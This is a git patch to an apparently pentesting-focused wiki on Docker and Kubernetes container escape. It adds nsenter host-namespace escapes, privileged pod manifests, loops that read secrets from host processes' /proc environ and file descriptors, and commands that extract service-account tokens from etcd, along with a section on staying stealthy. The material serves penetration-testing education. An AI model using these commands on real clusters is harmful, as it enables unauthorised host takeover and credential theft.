From c3338f48a8190e85e6249dd7496920825955a4ec Mon Sep 17 00:00:00 2001 From: CPol Date: Thu, 20 Jan 2022 17:55:33 +0000 Subject: [PATCH] GitBook: [#2960] No subject --- SUMMARY.md | 2 + .../pod-escape-privileges.md | 38 ++++++ .../docker-breakout-privilege-escalation.md | 120 ++++++++++++++---- .../page-1.md | 2 + .../attacking-kubernetes-from-inside-a-pod.md | 72 +++++++++++ .../hardening-roles-clusterroles/README.md | 17 +++ 6 files changed, 228 insertions(+), 23 deletions(-) create mode 100644 cloud-security/pentesting-kubernetes/hardening-roles-clusterroles/pod-escape-privileges.md create mode 100644 linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/page-1.md diff --git a/SUMMARY.md b/SUMMARY.md index c36be9081..994e1963c 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -37,6 +37,7 @@ * [release\_agent exploit - Relative Paths to PIDs](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/release\_agent-exploit-relative-paths-to-pids.md) * [Docker release\_agent cgroups escape](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md) * [Sensitive Mounts](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts.md) + * [Page 1](linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/page-1.md) * [Seccomp](linux-unix/privilege-escalation/docker-breakout/seccomp.md) * [AppArmor](linux-unix/privilege-escalation/docker-breakout/apparmor.md) * [Namespaces](linux-unix/privilege-escalation/docker-breakout/namespaces.md) @@ -509,6 +510,7 @@ * [Kubernetes Enumeration](pentesting/pentesting-kubernetes/enumeration-from-a-pod.md) * [Abusing Roles/ClusterRoles](pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md) * [K8s Roles Abuse Lab](pentesting/pentesting-kubernetes/hardening-roles-clusterroles/k8s-roles-abuse-lab.md) + * [Pod Escape Privileges](cloud-security/pentesting-kubernetes/hardening-roles-clusterroles/pod-escape-privileges.md) * [Pentesting Kubernetes Services](pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md) * [Kubernetes Role-Based Access Control (RBAC)](pentesting/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md) * [Attacking Kubernetes from inside a Pod](pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md) diff --git a/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles/pod-escape-privileges.md b/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles/pod-escape-privileges.md new file mode 100644 index 000000000..15e79eca4 --- /dev/null +++ b/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles/pod-escape-privileges.md @@ -0,0 +1,38 @@ +# Pod Escape Privileges + +## Privileged and hostPID + +With these privileges you will have **access to the hosts processes** and **enough privileges to enter inside the namespace of one of the host processes**.\ +Note that you can potentially not need privileged but just some capabilities and other potential defenses bypasses (like apparmor and/or seccomp). + +Just executing something like the following will allow you to escape from the pod: + +```bash +nsenter --target 1 --mount --uts --ipc --net --pid -- bash +``` + +Configuration example: + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: priv-and-hostpid-exec-pod + labels: + app: pentest +spec: + hostPID: true + containers: + - name: priv-and-hostpid-pod + image: ubuntu + tty: true + securityContext: + privileged: true + command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ] + #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name +``` + +## Privileged only + + + diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md index a6c4a948c..7da6f04bf 100644 --- a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md +++ b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md @@ -80,9 +80,27 @@ The `--privileged` flag introduces significant security concerns, and the exploi [docker-privileged.md](docker-privileged.md) {% endcontent-ref %} -### Mounting Disk +### Privileged + hostPID -#### Poc1 +With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` + +Test it in a container executing: + +```bash +docker run --rm -it --pid=host --privileged ubuntu bash +``` + +### Privileged + +Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**. + +Test the following bypasses in a container executing: + +```bash +docker run --rm -it --privileged ubuntu bash +``` + +#### Mounting Disk - Poc1 Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. @@ -97,7 +115,7 @@ mount /dev/sda1 /mnt/hola And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. -#### Poc2 +#### Mounting Disk - Poc2 Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: @@ -122,7 +140,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to debugfs /dev/sda1 ``` -### Abusing release\_agent +#### Privileged Escape Abusing release\_agent - PoC1 {% code title="Initial PoC" %} ```bash @@ -160,7 +178,7 @@ cat /o ``` {% endcode %} -The following is a different version, more readable, of the previous script: +#### Privileged Escape Abusing release\_agent - PoC2 {% code title="Second PoC" %} ```bash @@ -212,20 +230,7 @@ Find an **explanation of the technique** in: [docker-release\_agent-cgroups-escape.md](docker-breakout-privilege-escalation/docker-release\_agent-cgroups-escape.md) {% endcontent-ref %} - `--privileged` **provides far more permissions** than needed to escape a docker container via this method. In reality, the “only” requirements are: - -1. We must be **running as root** inside the container -2. The container must be run with the **`SYS_ADMIN` Linux capability** -3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall -4. The cgroup v1 virtual filesystem must be mounted read-write inside the container - -The `SYS_ADMIN` capability allows a container to perform the mount syscall (see [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so. - -Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`. - -A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` - -### Abusing release\_agents without knowing relative path +#### Privileged Escape Abusing release\_agent without known the relative path - PoC3 In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the continer inside the host** you can use this technique: @@ -323,7 +328,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -### Sensitive Mounts +#### Privileged Escape Abusing Sensitive Mounts There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ The abuse of these files may allow that: @@ -340,17 +345,83 @@ However, you can find **other sensitive files** to check for in this page: [sensitive-mounts.md](docker-breakout-privilege-escalation/sensitive-mounts.md) {% endcontent-ref %} -### Host Networking +### Arbitrary Mounts + +In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys… + +```bash +docker run --rm -it -v /:/host ubuntu bash +``` + +### hostPID + +If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: + +``` +docker run --rm -it --pid=host ubuntu bash +``` + +For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. + +Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: + +```bash +for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done +/proc/988058/environ +PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +HOSTNAME=argocd-server-69678b4f65-6mmql +USER=abrgocd +... +``` + +You can also **access other processes file descriptors and read their open files**: + +```bash +for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt +less fds.txt +...omitted for brevity... +lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0 +lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp +# You can open the secret filw with: +cat /proc/635813/fd/4 +``` + +You can also **kill processes and cause a DoS**. + +### hostNetwork + +``` +docker run --rm -it --network=host ubuntu bash +``` If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. -Example: +Like in the following examples: * [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) +You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access): + +{% content-ref url="../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %} +[kubernetes-access-to-other-clouds.md](../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md) +{% endcontent-ref %} + +### hostIPC + +``` +docker run --rm -it --ipc=host ubuntu bash +``` + +If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`. + +* **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` +* **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` + +## CVEs + ### Runc exploit (CVE-2019-5736) In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. @@ -368,9 +439,11 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) {% endhint %} +## Breakout Templates + ### Container Breakout through Usermode helper Template -If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions: +If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): * Find the **path of the containers filesystem** inside the host * You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit @@ -388,3 +461,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new * [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d) * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver) * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) +* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) diff --git a/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/page-1.md b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/page-1.md new file mode 100644 index 000000000..6f8b4979f --- /dev/null +++ b/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/page-1.md @@ -0,0 +1,2 @@ +# Page 1 + diff --git a/pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md b/pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md index 84ce178e5..5ddd361b3 100644 --- a/pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md +++ b/pentesting/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod.md @@ -124,6 +124,8 @@ If you managed to **escape from the container** there are some interesting thing * `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** * `/etc/kubernetes/pki` - **Kubernetes Key** +### Steal Secrets + ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system @@ -145,6 +147,76 @@ for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1 done ``` +The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1): + +```bash +./can-they.sh -i "--list -n default" +./can-they.sh -i "list secrets -n kube-system"// Some code +``` + +### Pivot to Cloud + +If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True): + +{% content-ref url="../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %} +[kubernetes-access-to-other-clouds.md](../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md) +{% endcontent-ref %} + +### Steal etcd + +If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**: + +``` +kubectl get nodes +NAME STATUS ROLES AGE VERSION +k8s-control-plane Ready master 93d v1.19.1 +k8s-worker Ready 93d v1.19.1 +``` + +control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**. + +#### Read secrets from etcd + +If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets. + +Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion. + +**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)** + +``` +root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir +``` + +Output: + +``` +data-dir=/var/lib/etcd +``` + +**View the data in etcd database:** + +``` +strings /var/lib/etcd/member/snap/db | less +``` + +**Extract the tokens from the database and show the service account name** + +``` +db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done +``` + +**Same command, but some greps to only return the default token in the kube-system namespace** + +``` +db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default +``` + +Output: + +``` +1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] +``` + ## Automatic Tools * [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)**** diff --git a/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md b/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md index 6ee3c7799..3d4c441cc 100644 --- a/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md +++ b/pentesting/pentesting-kubernetes/hardening-roles-clusterroles/README.md @@ -145,6 +145,23 @@ One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751 kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` +Now that you can escape to the node check post-exploitation techniques in: + +{% content-ref url="../attacking-kubernetes-from-inside-a-pod.md" %} +[attacking-kubernetes-from-inside-a-pod.md](../attacking-kubernetes-from-inside-a-pod.md) +{% endcontent-ref %} + +#### Stealth + +You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template: + +* ****[**Privileged + hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged-+-hostpid)**** +* ****[**Privileged only**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged)**** +* ****[**hostPath**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#arbitrary-mounts)**** +* ****[**hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostpid)**** +* ****[**hostNetwork**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostnetwork)**** +* ****[**hostIPC**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostipc)**** + ### Pod Create - Move to cloud If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\